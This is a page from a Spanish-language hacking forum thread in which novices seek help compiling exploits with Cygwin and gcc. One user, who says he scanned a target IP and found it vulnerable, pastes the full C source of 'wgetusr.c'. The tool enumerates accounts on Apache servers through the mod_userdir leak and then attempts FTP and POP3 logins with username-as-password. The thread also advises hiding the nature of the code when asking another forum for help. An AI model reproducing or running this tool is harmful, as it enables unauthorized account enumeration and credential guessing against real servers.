hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
06 de ſeptiembre de 2008, 03:01:02
Noticias: Caracteres maximos de las firmas
Para ver este enlace Registrate o Inicia Sesion
> leer

+  Foros pOrtal Hacker
|-+  Hacktivismo
| |-+  Bugs y Exploits (Moderador: vengador de las sombras)
| | |-+  Compilación e interpretación de Exploits || Tutorial Securityfocus: Buscando inf
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: 1 [2] 3 4 5 6 7 8 Ir Abajo Imprimir
Autor Tema: Compilación e interpretación de Exploits || Tutorial Securityfocus: Buscando inf  (Leído 24167 veces)
invisible_soul
NZ2
**
Desconectado Desconectado

Mensajes: 300



Ver Perfil
« Respuesta #15 : 19 de ſeptiembre de 2006, 05:45:21 »

ozx creo que voy mejor ya  lo reinstale como me dijiste y no me sale el mismo error me  aparece otro  xd

ai viene el error

« Última modificación: 19 de ſeptiembre de 2006, 06:32:04 por invisible_soul » En línea



OzX
Visitante
« Respuesta #16 : 20 de ſeptiembre de 2006, 12:18:09 »

ozx creo que voy mejor ya  lo reinstale como me dijiste y no me sale el mismo error me  aparece otro  xd

ai viene el error



hey hombre, esa es la segunda pregunta frecuente.. ya instalaste el gcc ahora te falta instalar esa libreria, sigue como instalar librerias.. por dios hombre¡¡ LEE¡¡ q cada pregunta que haces ya esta respondida, no seas porfiado¡¡¡¡ LEEE¡¡¡
En línea
invisible_soul
NZ2
**
Desconectado Desconectado

Mensajes: 300



Ver Perfil
« Respuesta #17 : 20 de ſeptiembre de 2006, 11:52:11 »

si pero esa libreria no mw la encuntra en la pagina que me dijiste, sale 0 field found
y en google nada y lo raro esque es el mismo epxloit que usaste tu el 614 me deberia faltar la misma libreria que a ti pero no es asi
que raro
En línea



OzX
Visitante
« Respuesta #18 : 21 de ſeptiembre de 2006, 06:48:36 »

Es que es propia de MS VC++. Creo que se refiere a la compatiblidad con COM, o algo asi. Creo que te has bajado codigo de Visual C++. Yo probaria con borrar esa diferencia directamente, y volver a compilar.


Para ver este enlace Registrate o Inicia Sesion
http://www.elrincondelc.com/portal/modules.php?name=Forums&file=viewtopic&t=7443


yo tb me kede pillo, cualquier duda que tengas obre C preguntalo ahy te responden rapido pero no digas que son exploit ni nada, solo programas varios

adios
En línea
saccosha
NZ1
*
Desconectado Desconectado

Mensajes: 38


Ver Perfil
« Respuesta #19 : 22 de ſeptiembre de 2006, 01:52:30 »

Un poco de ayuda no me vendria mal:)  Bueno e escaneado una ip con el sss a encontrado las vulnerabilidad es e encontrado el exploit  hice todo como esta puesto en el manual de compilacion en C y nada me leeido un monton de veces el manual y nada  el fallo es donde me contesta" gcc: exploit.c :no such file or directory
                                              gcc: no input files

el boton de ocultar las extensiones esta desactivado, e intentado 4 -5 exploit´s (que tiene de donde esta ip jejejeje)  y nada  lo mismo aver si me espabila alguno.


asias ante mano
/*-------------------------------------------------------------------
 *
 * Exploit: wgetusr.c Windows Version
 * Author: HighT1mes (John Bissell)
 * Date Released: July 21, 2004
 *
 * --- Code ported to Windows with some added code,
 *     based on getusr.c exploit by CoKi ---
 *
 * Description from CoKi:
 * ======================
 *
 * This tool tries to find users in a Apache 1.3.*
 * server through wrong default configuration of
 * module mod_userdir.
 *
 * My Believe:
 * ===========
 *
 * I believe in the current state of the web right
 * now this information leak bug can be pretty nasty.
 * Once you have a couple login names on a system
 * there are many services the attacker can target
 * to attack and work his way into the target system
 * to get local access.
 *
 * Program Usage:
 * ==============
 *
 * Use: wgetusr [options] -h <host> -u <usrfile>
 *          -h     Host
 *          -u     Users file
 *         Options
 *          -f     Try log on via FTP
 *          -p     Try log on via POP3
 *
 * VC++ 6.0 Compilation Information:
 * =================================
 *
 * First go on the net and get the getopt libs and header
 * file for VC++ 6.0 Here's a link...
 *
 *
Para ver este enlace Registrate o Inicia Sesion
 *
 * Now extract the libs into your standerd VC++ Lib directory,
 * and extract the getopt.h header file of course into the
 * Include directory.
 *
 * Now to compile make a new console app project,
 * then put this source file in the project.
 * Next goto Project->Settings. Then click on
 * the link tab then goto the input catagory.
 * Now add getopt.lib to the end of objects/librarys
 * modules text box. Then in the Ignore Librarys
 * text box type LIBCD.lib to ignore that lib and allow
 * compilation to complete because of getopt lib.
 *
 * Also you where you added getopt.lib to the
 * objects/librarys modules text box put ws2_32.lib
 * in that text box as well.
 *
 * Your all set compile, hack, distrobute, have fun! Smiley
 *
*-------------------------------------------------------------------*/

#include <getopt.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <windows.h>

#define DATAMAX 50
#define BUFFER 1000
#define TCPIP_ERROR -1
#define TIMEOUT 3
#define HTTP_PORT 80
#define FTP_PORT 21
#define POP3_PORT 110

void use(char *program);
int connect_timeou t(int sfd, struct sockaddr *serv_addr, int timeout);
void vrfy_apache(char *host);
void vrfy_vuln(char *host);
int test_user(char *host, char *user);
int trylogonFTP(char *host, char *user, char *pass);
int mkconn(char *host, unsigned short port);
int trylogonPOP3(char *host, char *user, char *pass);

struct hostent *he;
char **fuser;
int sockfd;
struct sockaddr_in dest_dir;

int main(int argc, char *argv[]) {

  FILE *userlist;
  char c, *host=NULL, *ulist=NULL;
  char user[DATAMAX];
  int ucant=0, flogged=0, plogged=0, optftp=0, optpop=0, stop=0;
  unsigned int cant=0, i, user_num;
  WSADATA wsaData;
  int result=0;

  printf(" =================================\n");
  printf("   wgetusr exploit by HighT1mes\n");
  printf("  Based on getusr.c code by CoKi\n");
  printf(" =================================\n\n");
  Sleep(1000);

  if(argc < 2) use(argv[0]);

  result = WSAStartup( MAKEWORD( 2,2 ), &wsaData );
        if ( result != NO_ERROR ) {
                printf( "Error at WSAStartup()\n" );
                return( EXIT_FAILURE );
        }

  while((c = getopt(argc, argv, "h:u:fp")) != EOF) {
    switch(c) {
      case 'h':
               host = optarg;
               break;
      case 'u':
               ulist = optarg;
               break;
      case 'f':
               optftp = 1;
               break;
      case 'p':
               optpop = 1;
               break;
      default :
               use(argv[0]);
               break;
    }
  }

  if(host == NULL) use(argv[0]);
  if(ulist == NULL) use(argv[0]);

  printf("
  • verifying list:\t");

  if((userlist = fopen(ulist, "r")) == NULL) {
    printf("Failed\n\n");
    exit(1);
  }

  while(!feof(userlist)) if('\n' == fgetc(userlist)) ucant++;
  rewind(userlist);

  printf("OK (%d users)\n", ucant);
  Sleep(1000);
  fuser = (char **)malloc(sizeof(ucant));

  printf("
  • verifying host:\t");

  if((he=gethostbyname(host)) == NULL) {
    perror("Error: ");
        Sleep(1000);
    printf("\n");
    exit(1);
  }

  printf("OK\n");
  Sleep(1000);

  printf("
  • connecting:\t");

  if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) {
    printf("Closed\n\n");
        Sleep(1000);
    exit(1);
  }

  printf("OK\n");
  Sleep(1000);
  closesocket(sockfd);

  vrfy_apache(host);
  Sleep(1000);

  vrfy_vuln(host);
  Sleep(1000);

  user_num = 1;
  while(!feof(userlist)) {
    if(fgets(user, sizeof(user), userlist) == NULL) break;
    user[strlen(user)-1] = '\0';

    if(test_user(host, user) == 0) {
      fuser[cant] = (char *)malloc(sizeof(user));
      memcpy(fuser[cant],user,strlen(user));
      memset(fuser[cant]+strlen(user),0,1);
      cant++;
    }

        system("CLS");
        printf(" wgetusr exploit by HighT1mes\n\n");
        printf("
  • searching for system accounts, please wait...\n");
        printf("
  • processing user #%d\n", user_num);
        user_num++;
  }

  if(cant == 0) {
    printf("     no users found\n\n");
    exit(1);
  }
  else {
        /* print out valid usernames found */
        printf("
  • scan results for %s:\n\n", host);
        for (i = 0; i < cant; i++) {
                printf("     found username: %s\n", fuser);
        }
  }

  printf("\n");

  if(optftp == 1) {
    stop = 0;
    printf("
  • trying log on via FTP...\n");
    printf("
  • connecting:\t");


    if(mkconn(host, FTP_PORT) == TCPIP_ERROR) {
      printf("Closed\n");
      stop = 1;
    }

    if(!stop) {
      printf("OK\n");
      closesocket(sockfd);
      for(i=0; i < cant; i++) {
        if(trylogonFTP(host, fuser, fuser) == 0) {
          printf("     logged in: %s\n", fuser);
          flogged++;
        }
      }
      if(flogged == 0) printf("     no users logged in\n");
    }
  }

  if(optpop == 1) {
    stop = 0;
    printf("
  • trying log on via POP3...\n");
    printf("
  • connecting:\t");
    (stdout);

    if(mkconn(host, POP3_PORT) == TCPIP_ERROR) {
      printf("Closed\n");
      stop = 1;
    }

    if(!stop) {
      printf("OK\n");
      closesocket(sockfd);
      for(i=0; i < cant; i++) {
        if(trylogonPOP3(host, fuser, fuser) == 0) {
          printf("     logged in: %s\n", fuser);
          plogged++;
        }
      }
      if(plogged == 0)  printf("     no users logged in\n");
    }
  }

  printf("\n");
  fclose(userlist);
  WSACleanup();
  return 0;
}

void use(char *program) {
  printf("Use: %s [options] -h <host> -u <usrfile>\n", program);
  printf("         -h\tHost\n");
  printf("         -u\tUsers file\n");
  printf("        Options\n");
  printf("         -f\tTry log on via FTP\n");
  printf("         -p\tTry log on via POP3\n");
  exit(1);
}

int connect_timeou t(int sfd, struct sockaddr *serv_addr, int timeout)
{
  int res, slen, flags;
  struct timeval tv;
  struct sockaddr_in addr;
  fd_set rdf, wrf;
  int iMode = 0;

  ioctlsocket(sfd, FIONBIO, &iMode);

  res = connect(sfd, serv_addr, sizeof(struct sockaddr));

  if (res >= 0) return res;

  FD_ZERO(&rdf);
  FD_ZERO(&wrf);

  FD_SET(sfd, &rdf);
  FD_SET(sfd, &wrf);
  memset(&tv, 0, sizeof(tv));
  tv.tv_sec = timeout;

  if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
    return -1;

  if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
    slen = sizeof(addr);
    if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
    return -1;

    flags = ioctlsocket(sfd, FIONBIO, NULL);
        iMode = flags & ~iMode;
    ioctlsocket(sfd, FIONBIO, &iMode);

    return 0;
  }

  return -1;
}

void vrfy_apache(char *host) {
  char buf[BUFFER], sendstr[DATAMAX];

  printf("
  • verifying Apache:\t");

  if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf("Closed\n");

  sprintf(sendstr, "HEAD / HTTP/1.0\n\n");
  send(sockfd, sendstr, sizeof(sendstr), 0);
  memset(buf, 0, sizeof(buf));
  recv(sockfd, buf, sizeof(buf), 0);

  if(strstr(buf, "Server: Apache")) printf("OK\n");
  else {
    printf("NO\n\n");
    exit(1);
  }

  closesocket(sockfd);
}

void vrfy_vuln(char *host) {
  char buf[BUFFER], sendstr[DATAMAX];

  printf("
  • vulnerable:\t");

  if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf("Closed\n");

  memset(sendstr, 0, sizeof(sendstr));
  sprintf(sendstr, "GET /~root\n");
  send(sockfd, sendstr, sizeof(sendstr), 0);

  recv(sockfd, buf, sizeof(buf), 0);

  if(strstr(buf, "403")) printf("OK\n");
  else {
    printf("NO\n\n");
    exit(1);
  }

  closesocket(sockfd);
}

int test_user(char *host, char *user) {
  char buf[BUFFER], sendstr[DATAMAX];

  if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf("     Closed\n");

  memset(sendstr, 0, sizeof(sendstr));
  sprintf(sendstr, "GET /~%s\n", user);
  send(sockfd, sendstr, sizeof(sendstr), 0);

  recv(sockfd, buf, sizeof(buf), 0);

  if(strstr(buf, "403")) return 0;
  else return 1;

  closesocket(sockfd);
}

int trylogonFTP(char *host, char *user, char *pass) {
  char buf[BUFFER], *senduser, *sendpass;

  senduser = malloc(sizeof(user+6));
  sendpass = malloc(sizeof(pass+6));

  sprintf(senduser,"USER %s\n",user);
  sprintf(sendpass,"PASS %s\n",pass);

  if(mkconn(host, FTP_PORT) == TCPIP_ERROR) printf("     Closed\n");

  memset(buf,0,sizeof(buf));
  recv(sockfd,buf,sizeof(buf),0);
  send(sockfd,senduser,strlen(senduser), 0);
  memset(buf,0,sizeof(buf));
  recv(sockfd,buf,sizeof(buf),0);
  send(sockfd,sendpass,strlen(sendpass), 0);
  memset(buf,0,sizeof(buf));
  recv(sockfd,buf,sizeof(buf),0);

  if(strstr(buf, "230")) return 0;
  else return 1;

  closesocket(sockfd);
}

int mkconn(char *host, unsigned short port) {

  if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == TCPIP_ERROR) {
    perror("Error");
    printf("\n");
    exit(1);
  }

  dest_dir.sin_f amily = AF_INET;
  dest_dir.sin_p ort = htons(port);
  dest_dir.sin_a ddr = *((struct in_addr *)he->h_addr);
  memset(&(dest_dir.sin_z ero), 0, 8);

  if(connect_timeou t(sockfd, (struct sockaddr *)&dest_dir, TIMEOUT) == TCPIP_ERROR) {
    return TCPIP_ERROR;
  }

  return 0;
}

int trylogonPOP3(char *host, char *user, char *pass) {
  char buf[BUFFER], *senduser, *sendpass;

  senduser = malloc(sizeof(user+6));
  sendpass = malloc(sizeof(pass+6));

  sprintf(senduser,"USER %s\n",user);
  sprintf(sendpass,"PASS %s\n",pass);

  if(mkconn(host, POP3_PORT) == TCPIP_ERROR) printf("     Closed\n");

  memset(buf,0,sizeof(buf));
  recv(sockfd,buf,sizeof(buf),0);
  send(sockfd,senduser,strlen(senduser), 0);
  memset(buf,0,sizeof(buf));
  recv(sockfd,buf,sizeof(buf),0);
  send(sockfd,sendpass,strlen(sendpass), 0);
  memset(buf,0,sizeof(buf));
  recv(sockfd,buf,sizeof(buf),0);

  if(strstr(buf, "+OK")) return 0;
  else return 1;

  closesocket(sockfd);
}

/* EOF */



como veis soy novato y si no tendria que pegar esto pido disculpas y que algun admin lo borre
« Última modificación: 22 de ſeptiembre de 2006, 01:55:48 por sacco » En línea
OzX
Visitante
« Respuesta #20 : 22 de ſeptiembre de 2006, 02:17:26 »

por dios la solucion, esta en el manual, no copiaste el exploit en la carpeta c:\cywgin\bin> y desde MSDOS tienes que ubicarte en esa carpeta. y por supuesta el nombre del exploit deve ser EXPLOIT.C  para que funcione, porfavor lee que preguntas q ya estan solucionadas y me dedike especialmente a poner unas preguntas frecuentes seran omitidas automaticament e..

adios

pd: no tienes el archivo exploit.c en la carpeta correcta
porfavor y para todos.. lean bien el manual, me dedike arto a hacerlo.. y por eso responder una y otra y otra vez lo mismo es algo cansador..


« Última modificación: 22 de ſeptiembre de 2006, 07:21:41 por OzX » En línea
alexitoo
Recien llegado
*
Desconectado Desconectado

Mensajes: 3


Ver Perfil
« Respuesta #21 : 07 de Octubre de 2006, 01:51:52 »

ola miren segui el manual tal komo decia todo y el kaso k kuando abro cmd y ago lo k pone ay al poner gcc exploit.c -o exploit.exe me sale un monton de errores porfavor me podrian ayudar mi msn es alex8garcia@otmail.com o excriban en el foro mi respuesta porfavor y asias
salu2
En línea
alexitoo
Recien llegado
*
Desconectado Desconectado

Mensajes: 3


Ver Perfil
« Respuesta #22 : 08 de Octubre de 2006, 02:00:42 »

 ???respondan porfavor me sale:
C:\cygwin\bin>gcc exploit.c -o exploit.exe
gcc: exploit.c: No such file or directory
gcc: no input files

C:\cygwin\bin>

pork ? responde rapido kin sea porfavor
salu2 y asias
En línea
OzX
Visitante
« Respuesta #23 : 18 de Octubre de 2006, 07:21:33 »

lee las preguntas frecuentes¡¡ pordios¡¡¡
no tienes el exploit.c en la carpeta c:/cygwin/bin
En línea
| NetWork |
Visitante
« Respuesta #24 : 23 de Octubre de 2006, 08:31:51 »

Bueno yo solo tengo una duda. me faltarón los packs de gcc-core C compiler y el otro, bueno pero a lo que respecta mi duda, es que al volver al setup.exe de cygwin. para coger los packs que me faltan, se volverá a reinstalar todo? o solamente bajare los packs que me hacen falta??? Sad
En línea
OzX
Visitante
« Respuesta #25 : 23 de Octubre de 2006, 02:18:00 »

si seguiste bien el manual no tendras problemas, si no instasle los paquetes.. los puedes instalar como una libreria mas.. y solo instalar esos..
En línea
H@ckNeMe$i$
NZ1
*
Desconectado Desconectado

Mensajes: 69


-=El CoNoCiMiEnTo Es PoDeR, El PoDeR Es NueSTro =-


Ver Perfil
« Respuesta #26 : 30 de Octubre de 2006, 05:42:30 »

Wenizimo tu manual man! felicidades Cheesy .. abra q ponerlo a prueba  cool
En línea


Para ver este enlace Registrate o Inicia Sesion
OzX
Visitante
« Respuesta #27 : 30 de Octubre de 2006, 01:09:34 »

si siguen paso a paso el manual no tendran problemas... auque siempre existen variables¡
En línea
oz64
Recien llegado
*
Desconectado Desconectado

Mensajes: 6


Ver Perfil
« Respuesta #28 : 02 de Noviembre de 2006, 09:22:48 »

Tengo un problemilla, hize exactamente todo igual puse el exploit en la carpeta bin y luego lo compile:

c:\cygwin\bin\gcc exploit.c -o exploit.exe
c:\cygwin\bin\

no aparecio ningun error ni nada por el estilo, segun el manual ya esta compilado y listo para usarse pero no crea el ejecutable y no hay por ningun lado ya probe varias veces y nada, si alguien sabe a q se debe esto porfa q responda.
Agradezco de ante mano cualquier respuesta.....
En línea
OzX
Visitante
« Respuesta #29 : 02 de Noviembre de 2006, 11:06:42 »

pusiste luego exploit.exe o exploit para que se ejecute?
En línea
Páginas: 1 [2] 3 4 5 6 7 8 Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online